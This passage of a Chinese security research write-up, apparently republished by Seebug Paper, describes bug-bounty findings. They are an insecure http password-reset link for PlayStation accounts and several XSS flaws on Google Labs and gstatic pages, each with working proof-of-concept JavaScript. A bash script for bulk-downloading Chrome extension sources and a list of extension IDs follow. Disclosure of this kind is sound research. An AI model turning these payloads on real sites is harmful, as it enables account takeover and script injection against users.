Playstation 密碼重置電子郵件使用不安全的http://鏈接,因為http://click.txn-email.account.sony.com/必須使用http:exacttarget.com的salesforce 的電子郵件分析服務來加載,兩次重置都是從同一個游戲登錄頁面完成的。

攻擊場景

本地網絡攻擊者可以在用戶嘗試重置密碼時獲得帳戶接管,根據帳戶設置可能還需要用戶的出生日期。

免費XSS部分

AffiliCats上的XSS

URL: https://googlechromelabs.github.io/affilicats/forward.html?url=javascript:alert(window.origin)

“AffiliCats”網站有一個開放的重定向,可以使用名為url的URL參數設置document.location.href,從而允許導航到javascript:

f = new URLSearchParams(document.location.search) , g = new URL(f.get("url"));

攻擊場景

攻擊者控制的網站獲得“cutest cats online””。

GSTATIC上的XSS

已修復,已獎勵獨立影響

let payload = `
alert(window.origin);
`;

let f = document.createElement("iframe"); f.src = "https://www.gstatic.com/alkali/d78121f02d90dc923359a36d4b03dc5b4c2ae024.html"; document.body.appendChild(f); setTimeout(() => { f.contentWindow.postMessage({resourcePaths: {jsPath: "data:text/html,"+encodeURIComponent(payload)}}, "*"); }, 2000);

攻擊場景

通過性能 API 泄露 gstatic.com 資源的連接和 DNS 計時,有時它被用作嵌入。

布局移位終止符上的 XSS

URL: https://googlechromelabs.github.io/layout-shift-terminator/

由于該頁面允許嵌入,并且可以導航到嵌套的iframe,因此可以通過競速繞過event.source === iframe.contentWindow檢查來完成postMessage。這也可以通過使用 null contentWindow 技巧濫用 chromium 最大 iframe 限制來完成。

f = document.createElement('iframe');
f.hidden = true;
document.body.appendChild(f);

function tryXSS() {
    loop = setInterval(() => {
        try {
            f.contentWindow[1].location = 'about:blank';
            f.contentWindow[1].eval("parent.postMessage({duration: 1, height: '</style><img src=x onerror=alert(origin)>', width: 1}, '*')");
            clearInterval(loop);
            f.contentWindow[1].location = 'https://googlechromelabs.github.io';
        } catch {}
    }, 100);

    f.src = 'https://googlechromelabs.github.io/layout-shift-terminator/?autorun';
}

tryXSS();
setInterval(tryXSS, 1000);

如何下載最新的擴展源代碼以進行批量搜索

rm -rf extensions/*

sudo apt install unzip
npm -g install prettier

# Downloads every extension ID in extensions.txt
for extensionID in $(cat extensions.txt)
do
    wget "https://clients2.google.com/service/update2/crx?response=redirect&os=win&arch=x86-64&os_arch=x86-64&nacl_arch=x86-64&prod=chromiumcrx&prodchannel=unknown&prodversion=114.0.0.0&acceptformat=crx2,crx3&x=id%3D$extensionID%26uc" -O $extensionID.zip
    unzip $extensionID.zip -d extensions/$extensionID
    rm $extensionID.zip
    chmod -R 777 extensions/$extensionID
    prettier --write extensions/$extensionID
done

extensions.txt 是什么

這可能包括不被視為官方谷歌應用程序的擴展程序

gbecpjnejcnafnkgfciepngjcndodann
lkjlajklkdhaneeelolkfgbpikkgnkpk
kngjcibmkbngcpnaoafbgkicpgmdehje
iodihamcpbpeioajjeobimgagajmlibd
inomeogfingihgjfjlpeplalcfajhgai
hinmcgipjjndkedddmmpidnjikjebejj
ghbmnnjooekpmoecnnnilnnbdlolhkhi
fhcagphnoanpgcbhcjlijdbeeggldbof
djjmngfglakhkhmgcfdmjalogilepkhd
aihpiglmnhnhijdnjghpfnlledckkhja
abjoigjokfeibfhiahiijggogladbmfm
kgejglhpjiefppelpmljglcjbhoiplfn
noondiphcddnnabmjcihcjfbhfklnnep
nmmhkkegccagdldgiimedpiccmgmieda
nnckehldicaciogcbchegobnafnjkcne
npeicpdbkakmehahjeeohfdhnlpdklia
onjcfgnjjbnflacfbnjaapcbiecckilk
aohghmighlieiainnegkcijnfilokake
pjkljhegncpnkpknbcohdijeoejaedia
mmfbcljfglbokpmkimbfghdkjmjhdgbg
aapocclcgogkmnckokdopfmhonfmgoek
aapbdbdomjkkjkaonfhkkikfgjllcleb
felcaaldnbdncclmgdcncolpebgiejap
apdfllckaahabafndbhieahigkjlhalf
lmjegmlicamnimmfhcmpkclmigmmcbeh
hmjkmjkepdijhoojdojkdfohbdgmmhki
lpcaedmchfhocbbapmcbpinfpgnhiddi
mkaakpdehdafacodkgkpghoibnmamcme
joodangkbfjnajiiifokapkpmhfnpleo
gbkeegbaiigmenfmjfclcdgdpimamgkj
jhknlonaankphkkbnmjdlpehkinifeeg
mgijmajocgfcbeboacabfgobmjgjcoja
ldipcbpaocekfooobnbcddclnhejkcpn
mclkkofklkfljcocdinagocijmpgbhab
callobklhcbilhphinckomhgkigmfocg
kejbdjndbnbjgmefkgdddjlbokphdefk
hkgfoiooedgoejojocmhlaklaeopbecg
djflhoibgkdhkhhcedjiklpkjnoahfmg
hfhhnacclhffhdffklopdkcgdhifgngh
fllaojicojecljbmefodhfapmkghcbnh
pocpnlppkickgojjlmhdmidojbmbodfm
jndclpdbaamdhonoechobihbbiimdgai
bhloflhklmhfpedakmangadcdofhnnoh
nlbjncdgjeocebhnmkbbbdekmmmcbfjd
kcnhkahnjcbndmmehfkdnkjomaanaooo
dllkocilcinkggkchnjgegijklcililc
jnkmfdileelhofjcijamephohjechhna
jmekfmbnaedfebfnmakmokmlfpblbfdm
gecgipfabdickgidpmbicneamekgbaej
gmandedkgonhldbnjpikffdnneenijnd
djcfdncoelnlbldjfhinnjlhdjlikmph
fcgckldmmjdbpdejkclmfnnnehhocbfp
eekailopagacbcdloonjhbiecobagjci
akimgimeeoiognljlfchpbkpfbmeapkh
fhndealchbngfhdoncgcokameljahhog
emahakmocgideepebncgnmlmliepgpgb
kjeeglcidfbjdmdkkoiakojnconnemce
kbjopffcocgcnkigpnnmpcoimhjbjmba
ienfalfjdbdpebioblfackkekamfmbnh
ipkjmjaledkapilfdigkgfmpekpfnkih
eoieeedlomnegifmaghhjnghhmcldobl
cdockenadnadldjbbgcallicgledbeoc
khpfeaanjngmcnplbdlpegiifgpfgdco
jknemblkbdhdcpllfgbfekkdciegfboi
pbcodcjpfjdpcineamnnmbkkmkdpajjg
pkidpnnapnfgjhfhkpmjpbckkbaodldb
iogfkhleblhcpcekbiedikdehleodpjo
aoggjnmghgmcllfenalipjhmooomfdce
nmoffdblmcmgeicmolmhobpoocbbmknc
fklpgenihifpccgiifchnihilipmbffg
ohbmencljkleiedahijfkagnmmhbilgp
llpfnmnallbompdmklfkcibfpcfpncdd
pkbdliadhfopgfdhbldifaakplenbpnd
bhcleoapmpajopgfbbjbokgfmmjpihkj
iijdllfdmhbmlmnbcohgbfagfibpbgba
ncigbofjfbodhkaffojakplpmnleeoee
eljbmlghnomdjgdjmbdekegdkbabckhm
fmgkgdalfapcmjnanilfcpkhkhedmpdm
gkbmnjmlhjnakmfjcejhlhpnibcbjdnl
amndppkiecbdmiaihgbicalhabkkhhpk
fojlbpdodmdfcdeigmknnaeikaadaaoh
ngjnkanfphagcaokhjecbgkboelgfcnf
odkacekibiibhidpiopcmgbgebkeoced
cmhomipkklckpomafalojobppmmidlgl
aghmgfkjfbkcockededacdhemkpgdcko
eakkgknfmgeecamodkgdnoabcphgaidc
lfmkphfpdbjijhpomgecfikhfohaoine
cniohcjecdcdhgmlofniddfoeokbpbpb
gdfknffdmmjakmlikbpdngpcpbbfhbnp
obkehignjblpidgnopmikpgjklkpbgpj
aonapkfkfneahhaonjjpmcabpnbdmojl
cokoeepjbmmnhgdhlkpahohdaiedfjgn
mogcmmflienoigckdgnkkkafbgkaecbj
pipjflhdnjcdflbkmoldkkpphmhcfaio
hiijcdgcphjeljafieaejfhodfbpmgoe
gikieikejljogkfjbijjplfhbmhbmfkf
ibmblmkjihglholefminaiddohamopnn
khkjfddibboofomnlkndfedpoccieiee
ahnljpdlfbmbhfabicjhfpaahfpedgfn
pgiknkjjcfcalehnoedjngelcgopgkgc
ijimhcgeahpgfdcgaheadagkjkiibcnj
fpdeeiodjafkidabmmeighhmfffnldak
daedidciajfkjpjfmailopfppehmdlkn
omamhhjibghapdodkhlmcpibplefhmgl
gmbmikajjgmnabiglmofipeabaddhgne

參考鏈接:

  1. https://chrome.google.com/webstore/detail/perfetto-ui/lfmkphfpdbjijhpomgecfikhfohaoine

  2. https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/extensions/api/debugger/debugger_api.cc;drc=3ecbe8e3eacb4ac62561e9e786e40e7e60eefd44;l=154

  3. https://chrome.google.com/webstore/detail/screen-reader/kgejglhpjiefppelpmljglcjbhoiplfn

  4. https://source.chromium.org/chromium/chromium/src/+/main:ui/accessibility/extensions/chromevoxclassic/

  5. https://source.chromium.org/chromium/chromium/src/+/main:ui/accessibility/extensions/chromevoxclassic/chromevox/injected/api_implementation.js;l=71;drc=a7bb5589468949d3c12d3e067621eb51252ee031

  6. https://source.chromium.org/chromium/chromium/src/+/main:ui/accessibility/extensions/chromevoxclassic/chromevox/injected/api_implementation.js;l=312;drc=a7bb5589468949d3c12d3e067621eb51252ee031

  7. https://source.chromium.org/chromium/chromium/src/+/main:ui/accessibility/extensions/chromevoxclassic/chromevox/injected/api_util.js;l=78;drc=3e1a26c44c024d97dc9a4c09bbc6a2365398ca2c

  8. https://source.chromium.org/chromium/chromium/src/+/main:ui/accessibility/extensions/chromevoxclassic/chromevox/injected/pdf_processor.js;l=138;drc=3e1a26c44c024d97dc9a4c09bbc6a2365398ca2c

  9. https://chrome.google.com/webstore/detail/form-troubleshooter/lpjhcgjbicfdoijennopbjooigfipfjh

  10. https://github.com/GoogleChromeLabs/form-troubleshooter

  11. https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd

  12. https://chrome.google.com/webstore/detail/deprecated-secure-shell-a/pnhechapfaindjhompbnflcldabbghjo


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/3054/